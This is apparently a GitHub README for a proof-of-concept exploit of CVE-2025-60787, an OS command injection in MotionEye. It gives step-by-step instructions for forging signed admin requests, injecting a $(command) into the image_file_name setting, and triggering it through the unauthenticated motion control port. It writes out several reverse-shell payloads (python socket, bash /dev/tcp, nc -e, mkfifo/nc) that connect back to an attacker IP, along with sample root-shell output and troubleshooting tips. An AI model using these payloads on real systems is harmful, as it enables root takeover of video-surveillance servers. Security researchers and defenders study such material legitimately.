agent-skywalker/CVE-2025-60787
GitHub: agent-skywalker/CVE-2025-60787
针对 MotionEye v0.43.1b4 的操作系统命令注入漏洞(CVE-2025-60787)的概念验证利用代码,通过滥用未过滤的 image_file_name 配置参数实现任意命令执行。
Stars: 0 | Forks: 0
# CVE-2025-60787
MotionEye v0.43.1b4 OS 命令注入
针对 [motionEye](https://github.com/motioneye-project/motioneye)(motion daemon 的 Web 前端)中漏洞的概念验证 OS 命令注入利用代码。该漏洞滥用 `image_file_name` 配置参数,该参数在未经过滤的情况下直接传递给 shell,允许通过 `$(command)` 子 shell 语法执行任意命令注入。
## 目录
- 漏洞工作原理
- 前置条件
- 步骤 1 — 定位管理员密码哈希
- 步骤 2 — 理解认证链
- 步骤 3 — 理解签名算法
- 步骤 4 — 配置利用代码
- 步骤 5 — 启动监听器
- 步骤 6 — 运行利用代码
- 参数参考
- 故障排除
## 漏洞工作原理
motionEye 将 `image_file_name` 配置值作为 shell 文件名模式直接传递给 motion daemon。Motion 在快照时刻会评估文件名中的 `$(...)` 子 shell 表达式,这意味着放置在 `$(...)` 中的任何命令都会以运行 motion 进程的用户(通常为 `root`)身份执行。
完整的攻击链如下:
```
1. Read admin_password hash from /etc/motioneye/motion.conf
↓
2. Derive cookie hash = SHA1(admin_password_hash)
↓
3. Compute HMAC signature using motionEye's exact algorithm:
SHA1("METHOD:path:body:key")
↓
4. POST malicious config to /config/{cam}/set/ with:
image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
↓
5. Trigger snapshot via unauthenticated motion control port 7999
↓
6. Motion evaluates the filename → command executes as root
↓
7. Reverse shell connects back to attacker machine
```
## 前置条件
- Python 3.6+
- 访问目标 motionEye 实例的网络权限(默认端口 `8765`)
- 来自 `/etc/motioneye/motion.conf` 的管理员密码哈希
- 攻击机上的监听器(例如 `nc`)
无需第三方 Python 包 —— 该利用代码仅使用标准库。
## 步骤 1 — 定位管理员密码哈希
motionEye 配置文件以 SHA1 哈希格式存储管理员密码。从目标读取:
```
cat /etc/motioneye/motion.conf
```
查找 `@admin_password` 注释行:
```
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
```
同时记录 `webcontrol_port` 值 —— 这是用于触发快照的无认证 motion 控制端口:
```
webcontrol_port 7999
webcontrol_localhost on
```
## 步骤 2 — 理解认证链
motionEye 使用双重哈希认证方案:
```
plaintext_password
│
▼ SHA1
admin_password ←── stored in motion.conf as @admin_password
│
▼ SHA1
cookie_hash ←── sent in browser cookie as meye_password_hash
│
▼ used as HMAC key
request_signature ←── _signature= parameter in every API request
```
利用代码会自动从配置哈希推导出 cookie 哈希:
```
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
```
你可以手动验证这一点:
```
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052
```
## 步骤 3 — 理解签名算法
签名是根据 motionEye 源代码中的 `/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py` 计算得出的:
```
SHA1("METHOD:path:body:key")
```
其中:
- `METHOD` — HTTP 方法(`POST`)
- `path` — 从查询字符串中移除 `_signature`、参数排序、值进行 URL 编码,然后通过 `_SIGNATURE_REGEX` 过滤后的 URI
- `body` — 通过 `_SIGNATURE_REGEX` 过滤后的原始 JSON body 字符串
- `key` — `admin_password` 或 `admin_hash`(motionEye 两者都接受),通过 `_SIGNATURE_REGEX` 过滤
`_SIGNATURE_REGEX` 会剔除任何不在 `[a-zA-Z0-9/?_.=&{}\[\]":, -]` 中的字符,并将其替换为 `-`。
## 步骤 4 — 配置利用代码
打开 `exploit.py` 并在顶部设置以下变量:
```
MOTIONEYE_URL = "http://127.0.0.1:8765" # motionEye web UI URL
MOTION_URL = "http://127.0.0.1:7999" # motion control port (no auth)
USERNAME = "admin" # admin username (default: admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # from motion.conf
LHOST = "10.10.16.153" # your listener IP — the target must be able to reach this
LPORT = "4444" # your listener port
```
反向 shell 命令会根据 `LHOST` 和 `LPORT` 自动设置:
```
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
```
**其他 shell 命令** —— 如果默认命令被阻止,请替换 `COMMAND`:
```
# Bash TCP (简单,可能被过滤)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# 带 -e 标志的 Netcat
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# 不带 -e 的 Netcat (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
```
## 步骤 5 — 启动监听器
在你的攻击机上,**在**运行利用代码之**前**启动一个 netcat 监听器:
```
nc -lvnp 4444
```
利用代码在打印监听器提醒后会暂停 5 秒,以便你有时间切换终端。
## 步骤 6 — 运行利用代码
```
python3 exploit.py
```
预期输出:
```
============================================================
motionEye RCE — Reverse Shell
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] Command : python3 -c '...'
[!] Start your listener NOW:
nc -lvnp 4444
[*] Sending payload in 5 seconds...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] Config saved! cam=2 key=admin_password
[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 → 200 Snapshot for camera 0 Done
[+] cam 1 → 200 Snapshot for camera 1 Done
[+] cam 2 → 200 Snapshot for camera 2 Done
[+] Snapshot triggered — check your listener on 10.10.16.153:4444
```
你应该在你的监听器上收到:
```
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@cctv:/var/lib/motioneye/Camera2#
```
## 参数参考
| 参数 | 位置 | 描述 | 示例 |
|-----------|----------|-------------|---------|
| `MOTIONEYE_URL` | `exploit.py` | motionEye Web 界面的完整 URL | `http://127.0.0.1:8765` |
| `MOTION_URL` | `exploit.py` | motion 控制端口的 URL(无需认证) | `http://127.0.0.1:7999` |
| `USERNAME` | `exploit.py` | motionEye 管理员用户名 | `admin` |
| `ADMIN_HASH` | `exploit.py` | `motion.conf` 中 `@admin_password` 的 SHA1 哈希 | `989c5a8e...` |
| `LHOST` | `exploit.py` | 你的攻击机 IP —— 目标必须能访问此 IP | `10.10.16.153` |
| `LPORT` | `exploit.py` | 你的 `nc` 监听器端口 | `4444` |
## 故障排除
**所有请求均返回 403 Unauthorized**
签名错误。请验证你的 `ADMIN_HASH` 值是否与 `motion.conf` 中的 `@admin_password` 行完全匹配 —— 没有空格,没有换行符。
```
cat /etc/motioneye/motion.conf | grep admin_password
```
**快照已触发但没有 shell 连接**
`image_file_name` 注入成功,但反向 shell 被阻止。请尝试步骤 4 中的其他 `COMMAND`。同时确认目标可以访问你的 `LHOST`:
```
# 在目标上
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
```
**端口 7999 拒绝连接**
`webcontrol_localhost on` 设置将端口 7999 限制为仅限 localhost。利用代码必须从目标机器运行或通过隧道运行。使用以下命令确认:
```
ss -tlnp | grep 7999
```
**`motion.conf` 不可读**
该文件可能需要提升权限:
```
sudo cat /etc/motioneye/motion.conf
```
**未找到摄像头配置**
检查存在哪些摄像头配置文件,并根据需要更新利用代码中的 `cam` 列表:
```
ls /etc/motioneye/camera-*.conf
```
## 截图 / 演示
### 读取配置哈希
### 运行利用代码
### 收到反向 shell
### 完整演示
## 参考资料
- [CVE-2023-30626](https://www.cve.org/CVERecord?id=CVE-2023-30626)
- [motionEye source — utils/__init__.py](https://github.com/motioneye-project/motioneye/blob/main/motioneye/utils/__init__.py)
- [motionEye source — handlers/base.py](https://github.com/motioneye-project/motioneye/blob/main/motioneye/handlers/base.py)
- [motion documentation — picture_filename](https://motion-project.github.io/motion_config.html#picture_filename)
标签:0day, CISA项目, CVE-2025-60787, HMAC身份验证, IoT安全, MotionEye, PoC, Python, RCE, RCE漏洞利用, Root权限, Shell注入, Web安全, 反向Shell, 威胁模拟, 操作系统命令注入, 无后门, 暴力破解, 概念验证, 漏洞分析, 签名算法绕过, 编程工具, 网络安全, 蓝队分析, 视频监控, 路径探测, 远程代码执行, 隐私保护